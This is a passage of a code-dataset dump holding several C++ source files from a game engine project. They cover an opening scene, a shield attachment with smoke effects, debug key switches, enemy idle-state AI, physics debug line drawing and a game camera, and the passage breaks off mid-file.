"content_id": "764f14548d2f977d94721013389fd0043acecc7c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1996,
"license_type": "no_license",
"max_line_length": 58,
"num_lines": 85,
"path": "/Game/OpeningScene.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include <unordered_map>\nclass EventMovie;\nclass Player;\nclass IEnemy;\nclass MuzzleFlash;\nclass Beam;\n\n/// <summary>\n/// \n/// </summary>\nclass OpeningScene :public GameObject\n{\npublic:\n\tOpeningScene();\n\tvirtual ~OpeningScene();\n\n\t/// <summary>\n\t/// 本開放。確保したものを開放するための関数。\n\t/// </summary>\n\tvirtual void Release() override;\n\n\t/// <summary>\n\t/// このオブジェクトの所持するゲームオブジェクト等を消すための関数。\n\t/// 面倒くさければRelease関数と同じでもよい。\n\t/// </summary>\n\tvirtual void OnDestroy() override;\n\n\t/// <summary>\n\t/// NewGO時に即座に呼ばれる関数。\n\t/// コンストラクタの代わりに使おう。\n\t/// </summary>\n\tvoid Awake() override;\n\n\t/// <summary>\n\t/// スタート関数。\n\t/// </summary>\n\t/// <returns>trueを返さない限り、ずっとStartを呼び続ける</returns>\n\tbool Start() override;\n\n\t/// <summary>\n\t/// 更新。の前に呼ばれる更新。\n\t/// </summary>\n\tvoid PreUpdate() override;\n\t/// <summary>\n\t/// 更新。\n\t/// </summary>\n\tvoid Update() override;\n\t/// <summary>\n\t/// 更新。の後に呼ばれる更新。\n\t/// </summary>\n\tvoid PostUpdate() override;\n\n\t/// <summary>\n\t/// 描画。\n\t/// </summary>\n\tvoid Render() override;\n\n\t/// <summary>\n\t/// 手前に表示するやつの描画。\n\t/// </summary>\n\tvoid PostRender() override;\nprivate:\n\n\ttemplate<class T, class U>\n\tbool contain(const std::basic_string<T>& s, const U& v) {\n\t\treturn s.find(v) != std::basic_string<T>::npos;\n\t}\n\n\tModelRender* GetItsModelRender(const std::string& name);\n\tEventMovie* m_eventMovie = nullptr;\n\tstd::vector<ModelRender*> m_modelRenders;//まとめて解放する用。\n\n\tstd::vector<ModelRender*> m_pods;\n\n\tbool m_isPlayed = false;\n\tbool m_isTargeting = false;\n\tbool m_isFadingToGame = false;\n\n\tstd::vector<MuzzleFlash*> m_muzzleFlashEffects;\n\tstd::vector<Beam*> m_beamEffects;\n\n\tModelRender* m_model = nullptr;\n\tCSoundSource* m_windSE = nullptr;\n};\n"
},
{
"alpha_fraction": 0.6476258635520935,
"alphanum_fraction": 0.6569082736968994,
"avg_line_length": 21.588708877563477,
"blob_id": "be8580a94a599775ad05106b6e8a0cef49947330",
"content_id": "8d62a0166120c4387e41df33a087ecf8fb94b5ea",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2801,
"license_type": "no_license",
"max_line_length": 142,
"num_lines": 124,
"path": "/Game/Player/Attachment/Shield.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"Shield.h\"\n#include \"Effect/SmokeEffect.h\"\n#include \"GameManager.h\"\n#include \"GameSceneMenu.h\"\n\nShield::Shield()\n{\n\n}\n\nShield::~Shield()\n{\n\n}\n\n\n\nvoid Shield::Release()\n{\n\tDeleteGO(m_model);\n\tfor (int i = 0; i < m_worldSmokeEffects.size(); i++) {\n\t\tDeleteGO(m_worldSmokeEffects.at(i));\n\t}\n\t//for (int i = 0; i < m_localSmokeEffects.size(); i++) {\n\t\t//DeleteGO(m_localSmokeEffects.at(i));\n\t//}\n}\n\nvoid Shield::OnDestroy()\n{\n\tRelease();\n}\n\n\nvoid Shield::Awake()\n{\n\n}\n\nbool Shield::Start()\n{\n\n\tModelInitData mid;\n\tm_model = NewGO<ModelRender>(0);\n\tmid.m_tkmFilePath = \"Assets/modelData/m/Shield/Shield.tkm\";\n\tmid.m_tksFilePath = \"Assets/modelData/m/Shield/Shield.tks\";\n\t//mid.m_upAxis = enUpAxisZ;\n\tm_model->Init(mid);\n\n\tconst int numEffect = 3;\n\n\tfor (int i = 0; i < numEffect; i++) {\n\t\tauto ef = NewGO<SmokeEffect>(0);\n\t\tef->Init(Vector4(1.f,1.f,1.f,1.f),Vector4(1.f,1.f,1.f,0.f), /*lifeSpanParam*/0.5f, /*density*/14, true);\n\t\tef->SetSca(m_smokeEffectScale);\n\t\tm_worldSmokeEffects.push_back(ef);\n\t}\n\n\t//for (int i = 0; i < numEffect; i++) {\n\t//\tauto ef = NewGO<SmokeEffect>(0);\n\t//\tef->Init(Vector4::White, Vector4::White, false);\n\t//\tef->SetSca(m_smokeEffectScale);\n\t//\tm_localSmokeEffects.push_back(ef);\n\t//}\n\n\tm_shieldBones[TO_INT(ShieldBone::Top)] = m_model->GetModel().GetSkelton()->GetBone(m_model->GetModel().GetSkelton()->FindBoneID(L\"Top\"));\n\tm_shieldBones[TO_INT(ShieldBone::Left)] = m_model->GetModel().GetSkelton()->GetBone(m_model->GetModel().GetSkelton()->FindBoneID(L\"Left\"));\n\tm_shieldBones[TO_INT(ShieldBone::Right)] = m_model->GetModel().GetSkelton()->GetBone(m_model->GetModel().GetSkelton()->FindBoneID(L\"Right\"));\n\n\treturn true;\n}\n\n\nvoid Shield::PreUpdate()\n{\n\n}\n\nvoid Shield::Update()\n{\n\tm_model->SetPosition(m_position);\n\tm_model->SetRotation(m_rotation);\n\tm_model->SetScale(m_scale);\n}\n\nvoid Shield::PostUpdate()\n{\n\tif (!m_isUsed) {\n\t\tm_model->SetActive(false);\n\t\tfor (int i = 0; i < m_worldSmokeEffects.size(); i++) {\n\t\t\tm_worldSmokeEffects[i]->Stop();\n\t\t\t//m_localSmokeEffects[i]->Stop();\n\t\t}\n\t}\n\telse {\n\t\tm_model->SetActive(true);\n\t\tif (GameManager::GetInstance().m_menu != nullptr) {\n\t\t\tif (!GameManager::GetInstance().m_menu->IsGamePaused()) {\n\t\t\t\tm_activeTimer += gameTime()->GetDeltaTime();\n\t\t\t}\n\t\t}\n\n\t\tfor (int i = 0; i < m_worldSmokeEffects.size(); i++) {\n\t\t\tm_worldSmokeEffects[i]->Play();\n\t\t\tm_worldSmokeEffects[i]->SetPos(m_shieldBones[i]->GetWorldMatrix().GetTransrate());\n\t\t\tm_worldSmokeEffects[i]->SetRot(m_shieldBones[i]->GetWorldMatrix().GetRotate());\n\t\t\t//m_localSmokeEffects[i]->Play();\n\t\t\t//m_localSmokeEffects[i]->SetPos(m_shieldBones[i]->GetWorldMatrix().GetTransrate());\n\t\t\t//m_localSmokeEffects[i]->SetRot(m_shieldBones[i]->GetWorldMatrix().GetRotate());\n\t\t}\n\t}\n}\n\n\nvoid Shield::Render()\n{\n\n}\n\nvoid Shield::PostRender()\n{\n\n}\n"
},
{
"alpha_fraction": 0.6083915829658508,
"alphanum_fraction": 0.6195804476737976,
"avg_line_length": 21.742050170898438,
"blob_id": "036dd82111f83595641b6fad524ab36fe4f8f69f",
"content_id": "8007b521d69ffb2a301ea68be5325021f141fe28",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 7381,
"license_type": "no_license",
"max_line_length": 132,
"num_lines": 283,
"path": "/UsualEngineR/Debug/DebugSwitch.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#pragma once\n\n\nnamespace UER\n{\n#if 1\n\tclass DebugSwitch\n\t{\n\tprivate:\n\t\tDebugSwitch(){}\n\tpublic:\n\t\tstatic std::function<void()> nullFunc;\n\t\t~DebugSwitch() \n\t\t{\n\t\t\tfor (auto s : m_radioButton)\n\t\t\t\tdelete s;\n\t\t\tfor (auto s : m_checkButton)\n\t\t\t\tdelete s;\n\t\t\tfor (auto it = m_radioBoxs.begin(); it != m_radioBoxs.end(); it++)\n\t\t\t{\n\t\t\t\tfor (auto s : it->second->box)\n\t\t\t\t\tdelete s;\n\t\t\t\tdelete it->second;\n\t\t\t}\n\t\t}\n\n\t\tstatic DebugSwitch* Instance()\n\t\t{\n\t\t\tstatic DebugSwitch ds;\n\t\t\treturn &ds;\n\t\t}\n\t\t/// <summary>\n\t\t/// スイッチの構造体。\n\t\t/// keyが2つ設定されているものは同時押しすると反応する。\n\t\t/// </summary>\n\t\tstruct SSwitch\n\t\t{\n\t\t\tSSwitch(char k1, char k2)\n\t\t\t{\n\t\t\t\tkey1 = k1;\n\t\t\t\tkey2 = k2;\n\t\t\t}\n\t\t\t/// <summary>\n\t\t\t/// \n\t\t\t/// </summary>\n\t\t\t/// <param name=\"k1\">key1</param>\n\t\t\t/// <param name=\"k2\">key2</param>\n\t\t\t/// <param name=\"update\">有効になっている間呼ばれる関数</param>\n\t\t\tSSwitch(char k1, char k2, const std::function<void()>& update)\n\t\t\t{\n\t\t\t\tkey1 = k1;\n\t\t\t\tkey2 = k2;\n\t\t\t\tupdateFunc = update;\n\t\t\t}\n\n\t\t\t/// <summary>\n\t\t\t/// \n\t\t\t/// </summary>\n\t\t\t/// <param name=\"k1\">key1</param>\n\t\t\t/// <param name=\"k2\">key2</param>\n\t\t\t/// <param name=\"on\">有効になった瞬間呼ばれる関数</param>\n\t\t\t/// <param name=\"off\">無効になった瞬間呼ばれる関数</param>\n\t\t\tSSwitch(char k1, char k2, const std::function<void()>& on, const std::function<void()>& off)\n\t\t\t{\n\t\t\t\tkey1 = k1;\n\t\t\t\tkey2 = k2;\n\t\t\t\ttriggerOnFunc = on;\n\t\t\t\ttriggerOffFunc = off;\n\t\t\t}\n\n\t\t\t/// <summary>\n\t\t\t/// \n\t\t\t/// </summary>\n\t\t\t/// <param name=\"k1\">key1</param>\n\t\t\t/// <param name=\"k2\">key2</param>\n\t\t\t/// <param name=\"update\">有効になっている間呼ばれる関数</param>\n\t\t\t/// <param name=\"on\">有効になった瞬間呼ばれる関数</param>\n\t\t\t/// <param name=\"off\">無効になった瞬間呼ばれる関数</param>\n\t\t\tSSwitch(char k1, char k2, const std::function<void()>& update, const std::function<void()>& on, const std::function<void()>& off)\n\t\t\t{\n\t\t\t\tkey1 = k1;\n\t\t\t\tkey2 = k2;\n\t\t\t\tupdateFunc = update;\n\t\t\t\ttriggerOnFunc = on;\n\t\t\t\ttriggerOffFunc = off;\n\t\t\t}\n\t\t\tchar key1 = 0;\t\t//key1\n\t\t\tchar key2 = 0;\t\t//key2\n\t\t\tbool isPushed = false;\t\t\t//押された\n\t\t\tbool oldFrameIsPushed = false;\t//前のフレームに押されていた\n\t\t\tstd::function<void()> updateFunc = nullFunc;\t\t//有効になっている間呼ばれる関数。\n\t\t\tstd::function<void()> triggerOnFunc = nullFunc;\t\t//有効になった瞬間呼ばれる関数。\n\t\t\tstd::function<void()> triggerOffFunc = nullFunc;\t//無効になった瞬間呼ばれる関数。\n\t\t};\n\t\t/// <summary>\n\t\t/// ラジオボタンみたいな\n\t\t/// </summary>\n\t\tstruct SRadioBox\n\t\t{\n\t\t\tstd::vector<SSwitch*> box;\t\t//スイッチ\n\t\t};\n\n\t\t/// <summary>\n\t\t/// 更新。\n\t\t/// </summary>\n\t\tvoid Update();\n\n\t\t/// <summary>\n\t\t/// らでぃおボタンの追加。\n\t\t/// </summary>\n\t\t/// <param name=\"s\"></param>\n\t\tvoid AddRadioButton(SSwitch* s)\n\t\t{\n\t\t\tm_radioButton.push_back(s);\n\t\t}\n\t\t/// <summary>\n\t\t/// チェックボタンの追加。\n\t\t/// </summary>\n\t\t/// <param name=\"s\"></param>\n\t\tvoid AddCheckButton(SSwitch* s)\n\t\t{\n\t\t\tm_checkButton.push_back(s);\n\t\t}\n\t\t/// <summary>\n\t\t/// ラジオボックスを追加。\n\t\t/// </summary>\n\t\t/// <param name=\"name\">ボックスの名前</param>\n\t\tvoid NewRadioBox(const char* name)\n\t\t{\n\t\t\tm_radioBoxs.insert({ name, new SRadioBox() });\n\t\t}\n\t\t/// <summary>\n\t\t/// ラジオボックスにボタンを追加。\n\t\t/// </summary>\n\t\t/// <param name=\"name\">ボックスの名前</param>\n\t\t/// <param name=\"s\">スイッチ</param>\n\t\tvoid AddRadioBoxButton(const char* name, SSwitch* s)\n\t\t{\n\t\t\tauto it = m_radioBoxs.find(name);\n\t\t\tit->second->box.push_back(s);\n\t\t}\n\n\t\tvoid AddButton(SSwitch* s)\n\t\t{\n\t\t\tm_button.push_back(s);\n\t\t}\n\tprivate:\n\t\tstd::vector<SSwitch*> m_radioButton;\t\t\t//ラジオボタンたち\n\t\tstd::vector<SSwitch*> m_checkButton;\t\t\t//チェックボタンたち\n\t\tstd::map<std::string, SRadioBox*> m_radioBoxs;\t//ラジオボックスたち\n\t\tstd::vector<SSwitch*> m_button;\n\t};\n#endif\n\t/// <summary>\n\t/// スイッチの更新。\n\t/// </summary>\n\tstatic void DebugSwitchUpdate()\n\t{\n#if DEBUG_FUNC\n\t\tDebugSwitch::Instance()->Update();\n#endif\n\t}\n\n\t/// <summary>\n\t/// スイッチの作成\n\t/// </summary>\n\t/// <param name=\"k1\">key1</param>\n\t/// <param name=\"k2\">key2</param>\n\t/// <param name=\"update\">ONの時毎フレーム呼ばれる関数</param>\n\t/// <returns></returns>\n\tstatic void* DebugSwitchNewSwitch(char k1, char k2, const std::function<void()>& update)\n\t{\n#if DEBUG_FUNC\n\t\treturn new DebugSwitch::SSwitch(k1, k2, update);\n#else\n\t\treturn nullptr;\n#endif\n\t}\n\n\t/// <summary>\n\t/// スイッチの作成\n\t/// </summary>\n\t/// <param name=\"k1\">key1</param>\n\t/// <param name=\"k2\">key2</param>\n\t/// <param name=\"on\">ONになった瞬間呼ばれる関数</param>\n\t/// <param name=\"off\">OFFになった瞬間呼ばれる関数</param>\n\t/// <returns></returns>\n\tstatic void* DebugSwitchNewSwitch(char k1, char k2,\n\t\tconst std::function<void()>& on,\n\t\tconst std::function<void()>& off)\n\t{\n#if DEBUG_FUNC\n\t\treturn new DebugSwitch::SSwitch(k1, k2, on,off);\n#else\n\t\treturn nullptr;\n#endif\n\t}\n\n\t/// <summary>\n\t/// \n\t/// </summary>\n\t/// <param name=\"k1\">key1</param>\n\t/// <param name=\"k2\">key2</param>\n\t/// <param name=\"update\">ONの時毎フレーム呼ばれる関数</param>\n\t/// /// <param name=\"on\">ONになった瞬間呼ばれる関数</param>\n\t/// <param name=\"off\">OFFになった瞬間呼ばれる関数</param>\n\t/// <returns></returns>\n\tstatic void* DebugSwitchNewSwitch(char k1, char k2,\n\t\tconst std::function<void()>& update,\n\t\tconst std::function<void()>& on,\n\t\tconst std::function<void()>& off)\n\t{\n#if DEBUG_FUNC\n\t\treturn new DebugSwitch::SSwitch(k1, k2, update, on, off);\n#else\n\t\treturn nullptr;\n#endif\n\t}\n\n\tstatic void* DebugSwitchNewSwitch_Button(char k1, char k2, const std::function<void()>& on)\n\t{\n#if DEBUG_FUNC\n\t\tauto s = new DebugSwitch::SSwitch(k1, k2);\n\t\ts->triggerOnFunc = on;\n\t\treturn s;\n#else\n\t\treturn nullptr;\n#endif\n\t}\n\n\t/// <summary>\n\t/// チェックボタンの追加。\n\t/// </summary>\n\t/// <param name=\"s\">スイッチのポインタ</param>\n\tstatic void DebugSwitchAddCheck(void* s)\n\t{\n#if DEBUG_FUNC\n\t\tDebugSwitch::SSwitch* sw = reinterpret_cast<DebugSwitch::SSwitch*>(s);\n\t\tDebugSwitch::Instance()->AddCheckButton(sw);\n#endif\n\t}\n\n\t/// <summary>\n\t/// ラジオボタン追加。\n\t/// </summary>\n\t/// <param name=\"s\">スイッチのポインタ</param>\n\tstatic void DebugSwitchAddRadio(void* s)\n\t{\n#if DEBUG_FUNC\n\t\tDebugSwitch::Instance()->AddRadioButton(reinterpret_cast<DebugSwitch::SSwitch*>(s));\n#endif\n\t}\n\n\tstatic void DebugSwitchAddButton(void* s)\n\t{\n#if DEBUG_FUNC\n\t\tDebugSwitch::Instance()->AddButton(reinterpret_cast<DebugSwitch::SSwitch*>(s));\n#endif\n\t}\n\n\t/// <summary>\n\t/// ラジオボックスの追加。\n\t/// </summary>\n\t/// <param name=\"name\">ボックスの名前</param>\n\tstatic void DebugSwitchNewRadioBox(const char* name)\n\t{\n#if DEBUG_FUNC\n\t\tDebugSwitch::Instance()->NewRadioBox(name);\n#endif\n\t}\n\n\t/// <summary>\n\t/// ラジオボックスにボタンを追加。\n\t/// </summary>\n\t/// <param name=\"name\">ボックスの名前</param>\n\t/// <param name=\"s\">ボタンのポインタ</param>\n\tstatic void DebugSwitchAddRadioBoxButton(const char* name, void* s)\n\t{\n#if DEBUG_FUNC\n\t\tDebugSwitch::Instance()->AddRadioBoxButton(name, reinterpret_cast<DebugSwitch::SSwitch*>(s));\n#endif\n\t}\n}"
},
{
"alpha_fraction": 0.6786324977874756,
"alphanum_fraction": 0.6897435784339905,
"avg_line_length": 19.543859481811523,
"blob_id": "23b0e3d9de44098296c957c468d5294590ff3628",
"content_id": "9bf9dd35b4b4852b6ab2c0dcaf219e9e238d918b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1222,
"license_type": "no_license",
"max_line_length": 74,
"num_lines": 57,
"path": "/Game/Enemy/State/EnemyIdleState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"stdafx.h\"\n#include <cmath>\n#include \"EnemyIdleState.h\"\n#include \"../EnemyManager.h\"\n#include \"../IEnemy.h\"\n#include \"../../Player/Player.h\"\n#include \"GameManager.h\"\n\nEnemyIdleState::EnemyIdleState() {\n\n}\n\nEnemyIdleState::~EnemyIdleState() {\n\n}\n\nvoid EnemyIdleState::Enter(IEnemy* e) {\n\n\te->PlayAnimation(IEnemy::EnAnimation::enIdle);\n\n#ifdef _PRINT_ENEMY_STATE\n\tDebugPrint_WATA(\"Enter enemy Idle\\n\");\n#endif\n}\n\nIEnemyState* EnemyIdleState::Update(IEnemy* e) {\n\n\t//適当に動かしてみただけ\n\tstatic float time = 0.f;\n\ttime += gameTime()->GetDeltaTime();\n\tauto add = std::sin(time);\n\tVector3 vel = Vector3::Zero;\n\tvel.x = add;\n\tvel.y -= 10.f;\n\t//e->SetVelocity(vel);\n\n\te->SetVelocity({ 0,-30,0 });\n\n\tauto player = GameManager::GetInstance().m_player;\n\tauto& epos = e->GetPosition();\n\tauto& ppos = player->GetPosition();\n\tauto vecToPlayer = ppos - epos;\n\tconst float chaseRange = 300.f;\n\n\tif (vecToPlayer.Length() < chaseRange and player->GetCurrentHP() > 0.f) {\n\t\treturn e->GetState(TO_INT(IEnemy::EnState::enBattleState));\n\t}\n\n\t//状態が変わらないなら自分を返す\n\treturn this;\n}\n\nvoid EnemyIdleState::Exit(IEnemy* e) {\n#ifdef _PRINT_ENEMY_STATE\n\tDebugPrint_WATA(\"Exit enemy Idle\\n\");\n#endif\n}"
},
{
"alpha_fraction": 0.6807919144630432,
"alphanum_fraction": 0.7172629237174988,
"avg_line_length": 31,
"blob_id": "da90591a3237360d4b6820078baf5026d2067978",
"content_id": "a67477f96388b34ca72789660017076e85d5863e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2901,
"license_type": "no_license",
"max_line_length": 155,
"num_lines": 90,
"path": "/UsualEngineR/Physics/PhysicsDebugDraw.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"PreCompile.h\"\n#include \"Physics/PhysicsDebugDraw.h\"\n\n\n\nnamespace UER\n{\n\tvoid PhysicsDebugDraw::Init()\n\t{\n\t\tm_primi.Cteate(D3D_PRIMITIVE_TOPOLOGY_LINELIST, MAX_VERTEX, sizeof(SVertexData), &m_vertexBuffer[0], MAX_VERTEX, Primitive::it_4byte, &m_indexBuffer[0]);\n\t\tm_vs.LoadVS(L\"Assets/shader/linePrimitive.fx\", \"VSMain\");\n\t\tm_ps.LoadPS(L\"Assets/shader/linePrimitive.fx\", \"PSMain\");\n\n\n\t\tm_rootSign.Init(\n\t\t\tD3D12_FILTER_MIN_MAG_MIP_LINEAR,\n\t\t\tD3D12_TEXTURE_ADDRESS_MODE_WRAP,\n\t\t\tD3D12_TEXTURE_ADDRESS_MODE_WRAP,\n\t\t\tD3D12_TEXTURE_ADDRESS_MODE_WRAP);\n\n\n\t\tD3D12_INPUT_ELEMENT_DESC inputElementDescs[] =\n\t\t{\n\t\t\t{ \"POSITION\", 0, DXGI_FORMAT_R32G32B32_FLOAT, 0, 0, D3D12_INPUT_CLASSIFICATION_PER_VERTEX_DATA, 0 },\n\t\t\t{ \"COLOR\", 0, DXGI_FORMAT_R32G32B32_FLOAT, 0, 12, D3D12_INPUT_CLASSIFICATION_PER_VERTEX_DATA, 0 },\n\n\t\t};\n\n\t\tD3D12_GRAPHICS_PIPELINE_STATE_DESC psoDesc = { 0 };\n\t\tpsoDesc.InputLayout = { inputElementDescs, _countof(inputElementDescs) };\n\t\tpsoDesc.pRootSignature = m_rootSign.Get();\n\t\tpsoDesc.VS = CD3DX12_SHADER_BYTECODE(m_vs.GetCompiledBlob());\n\t\tpsoDesc.PS = CD3DX12_SHADER_BYTECODE(m_ps.GetCompiledBlob());\n\t\tpsoDesc.RasterizerState = CD3DX12_RASTERIZER_DESC(D3D12_DEFAULT);\n\t\tpsoDesc.BlendState = CD3DX12_BLEND_DESC(D3D12_DEFAULT);\n\t\tpsoDesc.DepthStencilState.DepthEnable = TRUE;\n\t\tpsoDesc.DepthStencilState.DepthWriteMask = D3D12_DEPTH_WRITE_MASK_ALL;\n\t\tpsoDesc.DepthStencilState.DepthFunc = D3D12_COMPARISON_FUNC_LESS_EQUAL;\n\t\tpsoDesc.DepthStencilState.StencilEnable = FALSE;\n\t\tpsoDesc.SampleMask = UINT_MAX;\n\t\tpsoDesc.PrimitiveTopologyType = D3D12_PRIMITIVE_TOPOLOGY_TYPE_LINE;\n\t\tpsoDesc.NumRenderTargets = 1;\n\t\tpsoDesc.RTVFormats[0] = DXGI_FORMAT_R32G32B32A32_FLOAT;\t\t//アルベドカラー出力用。s\n\t\tpsoDesc.DSVFormat = DXGI_FORMAT_D32_FLOAT;\n\t\tpsoDesc.SampleDesc.Count = 1;\n\n\t\tm_pipState.Init(psoDesc);\n\n\t\tm_constbuff.Init(sizeof(SConstantBuffer),nullptr);\n\n\t\tm_decsHeap.RegistConstantBuffer(0, m_constbuff);\n\t\tm_decsHeap.Commit();\n\t}\n\n\tvoid PhysicsDebugDraw::BeginRender()\n\t{\n\t\tm_numLine = 0;\n\t}\n\n\tvoid PhysicsDebugDraw::EndRender()\n\t{\n\t\tSConstantBuffer cb;\n\t\tcb.mView = g_camera3D->GetViewMatrix();\n\t\tcb.mProj = g_camera3D->GetProjectionMatrix();\n\t\t\n\t\tauto& rc = g_graphicsEngine->GetRenderContext();\n\n\t\t\n\t\tm_primi.GetIndexBuffer().Copy(&m_indexBuffer[0]);\n\t\tm_primi.GetVertexBuffer().Copy(&m_vertexBuffer[0]);\n\n\t\tm_constbuff.CopyToVRAM(&cb);\n\t\trc.SetDescriptorHeap(m_decsHeap);\n\t\trc.SetPipelineState(m_pipState);\n\n\n\t\tm_primi.Draw(rc, m_numLine * 2);\n\t}\n\n\tvoid PhysicsDebugDraw::drawLine(const btVector3& from, const btVector3& to, const btVector3& color)\n\t{\n\t\tint base = m_numLine * 2;\n\t\tm_vertexBuffer[base] = { { from.x(),from.y(),from.z() },{color.x(),color.y(),color.z()} };\n\t\tm_vertexBuffer[base + 1] = { Vector3{ to.x(),to.y(),to.z() }, { color.x(),color.y(),color.z() } };\n\t\tm_indexBuffer[base] = base;\n\t\tm_indexBuffer[base+1] = base+1;\n\t\tm_numLine++;\n\t}\n\n}"
},
{
"alpha_fraction": 0.7003664970397949,
"alphanum_fraction": 0.7086440324783325,
"avg_line_length": 25.596637725830078,
"blob_id": "16002189707066a026d1eeab29a8cd79e6d3ba66",
"content_id": "e8ff40c3a7d579e6f6e29534b8e2cf7cf1331e7d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 16356,
"license_type": "no_license",
"max_line_length": 196,
"num_lines": 595,
"path": "/Game/Camera/GameCamera.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"stdafx.h\"\n#include \"GameCamera.h\"\n#include \"../Player/Player.h\"\n#include \"../Enemy/IEnemy.h\"\n#include \"../PositionChecker.h\"\n#include \"Enemy/EnemyManager.h\"\n#include <limits>\n#include \"../GameManager.h\"\n#include \"../GameSceneMenu.h\"\n#include \"Game.h\"\n//#define POS_CHECK\n\nstruct RayTestResult : public btCollisionWorld::RayResultCallback {\n\tbool isHit = false;\n\tfloat dist = FLT_MAX;\n\tint collAttr = enCollisionAttr_None;\n\n\tbtScalar addSingleResult(btCollisionWorld::LocalRayResult& rayResult, bool normalInWorldSpace)\n\t{\n\t\tint index = rayResult.m_collisionObject->getUserIndex();\n\t\tif (!(index & enCollisionAttr_Ground))\n\t\t{\n\t\t\treturn 0.f;\n\t\t}\n\n\t\tisHit = true;\n\t\tcollAttr = index;\n\t\treturn 0.0f;\n\t}\n\n};\n\nGameCamera::GameCamera()\n{\n\n}\n\nGameCamera::~GameCamera()\n{\n\n}\n\nvoid GameCamera::Release()\n{\n\n}\n\nvoid GameCamera::OnDestroy()\n{\n\n}\n\nvoid GameCamera::Awake()\n{\n\n}\n\nbool GameCamera::Start()\n{\n\n\tthis->Reset();\n\n\tm_cameraCollisionSolver.Init(m_sphereCollisionRadius);\n\n\tauto& enemies = EnemyManager::GetEnemyManager().GetEnemies();\n\tif (enemies.size() == 0) {\n\t\tEnemyManager::GetEnemyManager().SetTargetEnemy(nullptr);\n\t}\n\telse {\n\t\tm_enemyCameraCurrentTargetPos = m_enemyCameraNextTargetPos = enemies.at(m_targetEnemyNo)->GetPosition();\n\t}\n\n#ifdef POS_CHECK\n\tm_posChecker = NewGO<PositionChecker>(0);\n\tm_posCheckerL = NewGO<PositionChecker>(0);\n\tm_posCheckerR = NewGO<PositionChecker>(0);\n#endif // POS_CHECK\n\n\n\treturn true;\n}\n\nvoid GameCamera::PreUpdate()\n{\n\n}\n\nvoid GameCamera::Update()\n{\n\tif (GameManager::GetInstance().m_player == nullptr) return;\n\n\tm_charaPos = GameManager::GetInstance().m_player->GetPosition();\n\n#ifdef POS_CHECK\n\n\tint centerIndex, leftIndex, rightIndex;\n\tstd::tie(centerIndex, leftIndex, rightIndex) = GetTargetEnemyIndexes();\n\n\t\tif (centerIndex != -1) {\n\t\t\tconst auto& chekcerPos = enemies.at(centerIndex)->GetPosition();\n\t\t\tm_posChecker->SetPos(chekcerPos);\n\t\t}\n\t\tif (leftIndex != -1) {\n\t\t\tconst auto& chekcerPosL = enemies.at(leftIndex)->GetPosition();\n\t\t\tm_posCheckerL->SetPos(chekcerPosL);\n\t\t}\n\t\tif (rightIndex != -1) {\n\t\t\tconst auto& chekcerPosR = enemies.at(rightIndex)->GetPosition();\n\t\t\tm_posCheckerR->SetPos(chekcerPosR);\n\t\t}\n\t//m_posChecker->SetPos(enemies.at(forwardEnemyIndex)->GetPosition());\n#endif // POS_CHECK\n\n\tif (m_state == State::enSlerpPerformanceCamera) {\n\t\t//CalcSlerpPerformanceCamera();\n\t}\n\telse if (m_state == State::enLerpPerformanceCamera) {\n\t\tCalcLerpPerformanceCamera();\n\t}\n\telse {\n\t\tUpdateState();\n\t\tCalcTarget();\n\t\tCalcEnemyCamera();\n\t\tCalcPlayerCamera();\n\t}\n}\n\nvoid GameCamera::PostUpdate() {\n\n\tif (GameManager::GetInstance().m_player == nullptr) return;\n\tif (m_state == State::enLerpPerformanceCamera) return;\n\tif (m_state == State::enSlerpPerformanceCamera) return;\n\n\tconst float PlayerCameraRatio = 1.f;\n\tconst float EnemyCameraRatio = 0.f;\n\n\tif (m_cameraChangeRatio == PlayerCameraRatio) {\n\t\tm_position = m_playerCameraPos;\n\t}\n\telse if (m_cameraChangeRatio == EnemyCameraRatio) {\n\t\tm_position = m_enemyCameraPos;\n\t}\n\telse {\n\t\t//補完中\n\t\tauto vecCtoECP = m_enemyCameraPos - GameManager::GetInstance().m_player->GetPosition();\n\t\tstatic float cameraDist = vecCtoECP.Length();\n\t\tauto vecCtoPCP = m_playerCameraPos - GameManager::GetInstance().m_player->GetPosition();\n\n\t\tfloat dist_cecp = vecCtoECP.Length();\n\t\tfloat dist_cpcp = vecCtoPCP.Length();\n\n\t\tvecCtoECP.Normalize();\n\t\tvecCtoPCP.Normalize();\n\n\t\tQuaternion q1;\n\t\tq1.SetRotation(vecCtoECP, vecCtoPCP);\n\t\tQuaternion sl;\n\t\tsl.Slerp(m_cameraChangeRatio, Quaternion::Identity, q1);\n\t\tVector3 slpos = m_enemyCameraPos - GameManager::GetInstance().m_player->GetPosition();\n\t\tsl.Apply(slpos);\n\t\tauto scaleRatio = dist_cpcp / dist_cecp;\n\t\tauto scale = Math::Lerp(m_cameraChangeRatio, 1.f, scaleRatio);\n\t\tslpos.Scale(scale);\n\n\t\tm_position = slpos + m_charaPos;\n\t}\n\n\tg_camera3D->SetPosition(m_position);\n\tauto tar = Math::Lerp(m_cameraChangeRatio, m_enemyCameraTargetPos, m_playerCameraTargetPos);\n\tg_camera3D->SetTarget(tar);\n\n\t//カメラ当たり判定.\n\tVector3 result;\n\tauto flag = m_cameraCollisionSolver.Execute(\n\t\tresult,\n\t\tg_camera3D->GetPosition(),\n\t\tg_camera3D->GetTarget()\n\t);\n\n\t//急に距離が変わっていないか調べる.\n\tfloat dlt = 0.f;\n\tfloat dist = (result - tar).Length();\n\tdlt = m_oldDist - dist;\n\t//カメラが荒ぶるようなリザルトの場合は無視.\n\tif (abs(dlt) <= 10.f 